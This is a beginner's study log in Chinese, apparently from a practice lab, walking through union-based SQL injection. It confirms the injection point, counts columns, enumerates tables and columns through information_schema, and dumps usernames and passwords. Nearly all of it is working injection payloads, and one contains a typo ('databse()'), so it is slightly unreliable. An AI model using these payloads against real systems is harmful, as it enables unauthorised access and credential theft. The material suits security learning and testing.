1.判断注入点,注入类型
(1)根据在id后面输入 ‘ 后根据数据库报错信息,猜想其id的内容存放在已对单引号中
(2)输入 ‘ and 1=1 --+发现内容返回正常(小白注释:--+后面sql语句内容)
输入‘ and 1=2 --+ 返回内容错误,确认id这里存在注入漏洞
2.order by 查询列数
根据order by --+查询语句,发现当前表单有3列。(小白注释:这里猜数字可以用去中间值法)
3.获取数据库名
使用联合查询语句 union select查询数据库名称
?id=-1‘ union select 1,2,3--+看到页面回显内容,分别有2,3列。
?id=-1‘ union select 1,2,databse()--+可以在上述3的位置得到数据库名security
(小白注释:database()函数数据库中返回当前数据库名,类似的函数还有version()返回当前数据库版本,current_user()返回mysql的用户名和主机名)
4.获取表名
?id=-1‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
表有 users,emails,referers,uagents,显然users是需要的用户表。
5.获取字段名
?id=-1‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users‘--+
6.获取账号username密码password
?id=-1‘ union select 1,2,group_concat(username,‘~‘,password) from users--+(小白注释:这里用~号将账号密码隔开)
PS:小白注释
(1).information_schema可以看作是信息数据库,在其中有几个只读表保存着在MySQL服务器中所有其他的数据,如数据库名,表名。
(2).information_schema中的tables表提供了数据库中关于表的信息;colunms提供了表中列的信息
(3).group_concat()作用是将对应字段的所有结果查询后组合返回一条记录,在本例中查询username和password的所有结果
(4).现根据‘和报错信息判断是否存在注入点,判断是字符还是数字型注入
用order by查询列数,再根据union select查询的回显信息一步步获取数据库名,表名,字段名,字段内容。
小白学习注入的学习记录!!
原文:https://www.cnblogs.com/ersuani/p/12563563.html